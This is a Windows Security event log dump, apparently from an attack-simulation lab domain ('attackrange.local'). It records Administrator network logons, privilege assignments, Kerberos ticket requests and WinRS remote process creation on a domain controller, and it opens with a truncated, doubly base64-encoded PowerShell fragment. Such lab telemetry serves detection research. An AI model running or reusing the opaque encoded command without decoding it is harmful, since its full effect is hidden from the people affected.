IAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBUAEEAQgBCAEEARgBNAEEAVgBBAEIARgBBAEYAZwBBAFMAUQBCAFUAQQBFAE0AQQBUAHcAQgBFAEEARQBVAEEASQBBAEEAdABBAEUAVQBBAGMAZwBCAHkAQQBHADgAQQBjAGcAQgBCAEEARwBNAEEAZABBAEIAcABBAEcAOABBAGIAZwBBAGcAQQBGAE0AQQBhAFEAQgBzAEEARwBVAEEAYgBnAEIAMABBAEcAdwBBAGUAUQBCAEQAQQBHADgAQQBiAGcAQgAwAEEARwBrAEEAYgBnAEIAMQBBAEcAVQBBAEsAUQBBAGcAQQBIAHMAQQBJAEEAQgBsAEEASABnAEEAYQBRAEIAMABBAEMAQQBBAEoAQQBCAE0AQQBFAEUAQQBVAHcAQgBVAEEARQBVAEEAVwBBAEIASgBBAEYAUQBBAFEAdwBCAFAAQQBFAFEAQQBSAFEAQQBnAEEASAAwAEEASQBBAEIARgBBAEcAdwBBAGMAdwBCAGwAQQBDAEEAQQBlAHcAQQBnAEEARwBVAEEAZQBBAEIAcABBAEgAUQBBAEkAQQBBAHgAQQBDAEEAQQBmAFEAQQBnAEEASAAwAEEA

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250527
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1106BE

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250526
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1106BE
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{4AF714D3-6FE6-78C4-BD0F-98FF3F9F6ADB}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250525
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{4AF714D3-6FE6-78C4-BD0F-98FF3F9F6ADB}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250524
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{4AF714D3-6FE6-78C4-BD0F-98FF3F9F6ADB}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250523
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250522
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11046E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4d4
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1340
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250521
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11046E

Process Information:
	New Process ID:		0x1340
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1e0
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250520
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11046E

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250519
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11046E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{4AF714D3-6FE6-78C4-BD0F-98FF3F9F6ADB}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250518
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{4AF714D3-6FE6-78C4-BD0F-98FF3F9F6ADB}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250517
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{4AF714D3-6FE6-78C4-BD0F-98FF3F9F6ADB}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250516
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250515
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x110439

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250514
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10DF8B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250513
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10E1DB

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250512
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x110439

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250511
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x110439
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{4AF714D3-6FE6-78C4-BD0F-98FF3F9F6ADB}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250510
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{4AF714D3-6FE6-78C4-BD0F-98FF3F9F6ADB}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250509
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{4AF714D3-6FE6-78C4-BD0F-98FF3F9F6ADB}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250508
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250507
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11041D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250506
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11041D

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250505
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11041D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{4AF714D3-6FE6-78C4-BD0F-98FF3F9F6ADB}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250504
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{4AF714D3-6FE6-78C4-BD0F-98FF3F9F6ADB}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250503
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{4AF714D3-6FE6-78C4-BD0F-98FF3F9F6ADB}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250502
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250501
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11034A

